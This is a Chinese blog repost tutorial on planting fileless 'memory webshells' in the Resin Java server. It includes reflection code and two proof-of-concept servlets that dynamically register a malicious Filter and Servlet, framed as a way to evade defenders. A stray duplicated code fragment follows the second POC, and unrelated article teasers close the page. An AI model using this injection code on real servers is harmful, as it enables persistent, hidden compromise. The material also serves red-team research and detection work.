Resin内存马逆袭之路

news2025/5/31 20:23:19

前言

故事还是要从很久很久以前说起,红蓝对抗越来越激烈,常见的免杀Webshell文件已经逃脱不了蓝队大佬的火眼金睛了,函数混淆的花里胡哨最后还是能被轻松分析,所以早在很多年前,就已经进入了内存马的时代,内存马是一种新的无文件的Webshell类型。市面常见的内存马都是针对Tomcat、Spring的,直到有一天我遇到了某微,落地的Webshell文件被乱揍,于是开启了Resin内存马学习之路。

关于Resin

首先了解一下Resin是个啥,Resin是CAUCHO公司的产品,是一个Application
Server,支持Servlet和JSP的引擎,速度非常快,并且可以和Apache、IIS等其他WEB服务器一起工作,也支持负载均衡,所以许多站点都是使用该WEB服务器构建的。

调试环境搭建

IDEA:2022.2

Resin:4.0.58

JDK:JDK8u261

工欲善其事必先利其器,先本地搭建环境调试一下,搭建环境发现官方的下载地址各种被Ban,不明所以,不过最后还是搞到了包。

IDEA直接创建Resin,如果没有的,去IDEA装一个Resin的插件就好了,Configuration选择我们下载好的Resin环境包。

image.png

后面生成一个war包就好了。

image.png

导入resin/lib,方便我们后面调试。

image.png

修改resin/conf/resin.xml文件中的<web-app id="/" root- directory="绝对路径"/>,修改一下默认解析目录。

IDEA启动。

image.png

分析过程

常见的动态注册内存马有Listen、Filter、Servlet几种方式,不管是哪种内存马都需要先获取上下文对象,上下文对象需要通过request获取,一般request会存储在当前线程对象中。

Filter

Tomcat等一般都可以通过javax.servlet.ServletRequest.getServletContext()方法直接获取,但是Resin行不通,那就先看在Resin的堆栈翻一下。

doFilter:19, Main (com.test)
doFilter:89, FilterFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:304, ServletInvocation (com.caucho.server.dispatch)
handleRequest:840, HttpRequest (com.caucho.server.http)
dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)
handleRequest:1323, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)
handleRequests:1215, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)

找到service:304, ServletInvocation (com.caucho.server.dispatch)

image.png

com.caucho.server.dispatch.ServletInvocation#getContextRequest()可以获得一个ServletRequest对象。image.png

通过反射获取一下ServletRequest对象。

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);

下面就需要找哪里可以动态注册恶意Filter了,再看一下堆栈信息,这里有WebApp属性包含了_filterManager_filterMapper

image.png

image.png

WebAPP的类继承关系,WebApp最终还是继承自ServletContext我们可以强转子类,将ServletContext强转成WebApp

image.png

image.png

获取WebApp对象。

WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);

看一下_filterManager包含_filters以Map形式存储FilterConfigImpl对象,_urlPatterns存储了,Filter名和Filter对应的URL。

image.png

URLPattern对象可以通过FilterMapping#createUrlPattern()获取。

image.png

FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
            urlPattern.addText(url);

_filterMap以List的形式存储FilterMapping对象,FilterMapping存储着URL和filter的对应关系。

image.png

//获取_filtermanager
            Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
            filtermanager_field.setAccessible(true);
            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
            //获取_filters
            Field filters_field = filterManager.getClass().getDeclaredField("_filters");
            filters_field.setAccessible(true);
            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);

image.png

POC

public class TestFilter extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) {
        String filtername = "FilterShell";
        String url = "/filter";
        Class clzz;
        try {
            //获取request对象
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
            //获取webapp
            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
//            //获取_filtermanager
//            Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
//            filtermanager_field.setAccessible(true);
//            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
//            //获取_filters
//            Field filters_field = filterManager.getClass().getDeclaredField("_filters");
//            filters_field.setAccessible(true);
//            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
            clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");       //方便调试,实战换成defineClass加载字节码
            FilterMapping filterMapping = new FilterMapping();
            filterMapping.setFilterClass(clzz.getName());
            filterMapping.setFilterName(filtername);
            FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
            urlPattern.addText(url);
            webApp.addFilterMapping(filterMapping);
            res.getWriter().write("Resin Filter Inject Success!!");
        } catch (Exception ignored) {
        }
    }
}

Servlet

获取request对象过程复用上面Filter的。

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);

自实现一个Servlet,看一下调用栈中的几个关键属性_serlvetName_servletClassName_servletClass_urlPatterns

doGet:20, TestServlet (com.test)
service:120, HttpServlet (javax.servlet.http)
service:97, HttpServlet (javax.servlet.http)
doFilter:109, ServletFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:304, ServletInvocation (com.caucho.server.dispatch)
handleRequest:840, HttpRequest (com.caucho.server.http)
dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)
handleRequest:1323, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)
handleRequests:1215, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)

image.png

image.png

还是先获取WebApp

WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);

ServletMapping存储着URL和Servlet的对应关系。

image.png

动态添加思路类似Filter。

ServletMapping servletMapping = new ServletMapping();
            servletMapping.addURLPattern(url);
            servletMapping.setServletName(servletname);
            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
            servletMapping.setServletClass(clazz.getName());
            webApp.addServletMapping(servletMapping);

image.png

POC

public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        String servletname = "ServletShell";
        String url = "/servlet";
        Class clazz;
        try {
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
            ServletMapping servletMapping = new ServletMapping();
            servletMapping.addURLPattern(url);
            servletMapping.setServletName(servletname);
            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
            servletMapping.setServletClass(clazz.getName());
            webApp.addServletMapping(servletMapping);
            res.getWriter().write("Resin Servlet Inject Success!!");
        } catch (Exception ignored) {
        }
    }
}


ping.setServletClass(clazz.getName());
webApp.addServletMapping(servletMapping);
res.getWriter().write(“Resin Servlet Inject Success!!”);
} catch (Exception ignored) {
}
}
}

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/334760.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

细讲一个 TCP 连接能发多少个 HTTP 请求(一)

一道经典的面试题是从 URL 在浏览器被被输入到页面展现的过程中发生了什么&#xff0c;大多数回答都是说请求响应之后 DOM 怎么被构建&#xff0c;被绘制出来。但是你有没有想过&#xff0c;收到的 HTML 如果包含几十个图片标签&#xff0c;这些图片是以什么方式、什么顺序、建…

Android主页面进程卡死黑屏怎么办?多线程机制来解决

问题描述 在做一个页面跳转小案例&#xff0c;在输入页输入要计算第几项斐波那契数列&#xff0c;然后跳转到另一个页面显示计算的结果&#xff0c;当输入的值很大时&#xff0c;跳转到另一个页面时&#xff0c;页面卡死黑屏。 页面卡死黑屏问题原因 计算斐波那契数列的常规方法…

Linux--fork

一、fork入门知识 fork&#xff08;&#xff09;函数通过系统调用创建一个与原来进程几乎完全相同的进程&#xff0c;也就是两个进程可以做完全相同的事&#xff0c;但如果初始参数或者传入的变量不同&#xff0c;两个进程也可以做不同的事。可以简单地说fork()的作用就是创建一…

如何在Python里使用ChatGPT及ChatGPT是什么?怎么注册?

废话不多说&#xff0c;直接开干! 需要库 pip install openaiimport openai# Set your API keyopenai.api_key "你的chatgpt的密钥key"# Use the GPT-3 modelcompletion openai.Completion.create(engine"text-davinci-002",prompt"Once upon …

纯CSS实现[喵咪小挂件]

效果预览 网页上&#xff1a; 小程序中&#xff1a; 在微信小程序中使用时&#xff0c;将div标签改成view即可。 小程序中封装 如下&#xff0c;在小程序中可封装成组件&#xff08;方便使用&#xff09; 1、先在components目录下新建一个目录存放该组件。 2、右键上一步…

Unity-ROS与激光雷达小车搭建(五)

0. 简介 我们在第三章和第四章中详细介绍了如何使用URDF以及Navigation 2&#xff0c;而第五章开始我们将学习如何将前面所学的结合起来&#xff0c;来形成一个Unity与ROS完整且系统的框架 1. 创建并导入URDF 这一部分作为我们第三讲的内容&#xff0c;我们在之前的基础上通…

【STL】综述

STL&#xff0c;一文即可知 文章目录一、STL基本知识概述容器二、序列式容器详述数组容器array向量容器vector双端队列容器deque链式容器list正向链容器forward_list参考博客&#x1f60a;点此到文末惊喜↩︎ 一、STL基本知识 概述 STL六大组件&#xff08;前三个是主要的&am…

在线支付系列【21】微信支付服务商接入前准备

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 文章目录项目概述接入准备1. 注册服务商号&#xff08;获取服务商mchid&#xff09;2. 注册公众号&#xff08;获取服务商APPID&#xff09;3. 绑定应用ID和服务商ID4. 入驻子商户&#xff08;特约商户进…

MyBatis基础知识

1 JDBC基础知识1.1 JDBC简介JDBC是使用Java语言操作关系型数据库的一套API&#xff0c;全称Java DataBase Connectivity&#xff0c;Java数据库连接。JDBC定义了操作所有关系型数据库的规则&#xff0c;同一套Java代码可以操作不同的关系型数据库。也就是JDBC是Java语言操作数据…

分布式高级篇3 —— RabbitMQ

一、RabbitMQ1、RabbitMQ 介绍2、RabbitMQ 的相关概念3、安装 RabbitMQ4、交换机类型&#xff08;1&#xff09;direct - 直连交换机&#xff08;2&#xff09;fanout - 扇出交换机&#xff08;3&#xff09;topic - 主题交换机5、RabbitMQ 管理界面6、SpringBoot 整合RabbitMQ…

Autowired注解源码解析

一、Autowired注解的原理的概览 我们都知道一个Bean的大致生命周期有这几个阶段&#xff0c;实例化--> 属性填充 --> 初始化 --> 销毁回调 其中Autowired作用的时间就是在属性填充阶段&#xff0c;而且是通过AutowiredAnnotation BeanPostProcessor类进行处理的。注…

android14预览版介绍及解读

​ 前言&#xff1a; android14快要来了&#xff0c;最近2月8日&#xff0c;android14的第一个开发者预览版发布了&#xff0c;正式版大约会和往常一样&#xff0c;大概率在六月份左右推出&#xff0c;八九月份时会有国内会有第一批手机支持安卓14。所以&#xff0c;本文就带…

为什么要用频谱分析仪测量频谱?

频谱分析仪是研究电信号频谱结构的仪器&#xff0c;用于信号失真度、调制度、谱纯度、频率稳定度和交调失真等信号参数的测量&#xff0c;可用以测量放大器和滤波器等电路系统的某些参数&#xff0c;是一种多用途的电子测量仪器。从事通信工程的技术人员&#xff0c;在很多时候…

免费下载学术文献的网站,好用!

推荐几款好用的免费下载学术文献网站&#xff0c;让你的查找文献环节更加事半功倍&#xff01; 1、Open Access Library&#xff08;OALib&#xff09;图书馆让学者可以免费下载学术文献和论文&#xff0c;并在这个平台上发表自己的论文。提供Open Access数据库资源。 2、文献…

Spring Security实现RBAC权限模型练习

1.Spring Security介绍 Spring Security的核心功能就是认证、授权、攻击防护&#xff0c;Spring Boot项目启动之后会自动进行配置&#xff0c;其核心就是一组链式过滤器。 如下图所示&#xff0c;对于一个用户请求&#xff0c;Username Password Authentication Filter验证用…

2022年API安全研究报告

导读 API应用的增速与其安全发展的不平衡,使其成为恶意攻击的首选目标,围绕API安全的攻防较量愈演愈烈。 2022年API安全风险概况 2022年平均每月遭受攻击的API数量超21万 2022年全年平均每月遭受攻击的API数量超过21万,第二季度(4-6月)遭受攻击的API数量达到高峰,月均…

经典文献阅读之--IGP2(可解释性目标的自动驾驶预测与规划)

0. 简介 对于自动驾驶的预测和规划而言&#xff0c;能够有效的对目标产生可解释性是非常有必要的&#xff0c;而《Interpretable Goal-based Prediction and Planning for Autonomous Driving》文中就提出了一种综合的自动驾驶预测和规划系统&#xff0c;它利用合理的逆规划来…

php mysql娱乐场所运营管理系统

目 录 1 背景与意义 3 1.1 研究背景 3 1.2 国内外发展状况研究 3 2 系统开发环境与技术 4 2.1 PHP介绍 4 2.2 MYSQL介绍 5 2.3 APACHE介绍 6 2.4 dreameaver介绍 7 2.5 wamp介绍 7 3 系统分析 8 3.1 系统可行性分析 8 3.1.1 技术可行性 …

【编程基础之Python】1、初始Python

【编程基础之Python】1、初始Python初始Python什么是PythonPython的运行过程Python的应用领域如何学好Python初始Python Python是一种跨平台的、开源免费的、解释型的、面向对象的高级编程语言。 Python的应用领域非常广泛&#xff0c;包括客户端程序、服务器程序、移动端程序…

Redis未授权漏洞蜜罐模拟与捕获分析

1.概述 文章主要分析Redis未授权漏洞的原理及形成原因&#xff0c;使用vulhub靶场进行漏洞复现&#xff0c;在了解漏洞原理并复现的基础上使用golang编写蜜罐代码进行模拟&#xff0c;开放端口在网上捕获真实存在的恶意攻击行为&#xff0c;对恶意样本进行分析&#xff0c;总结…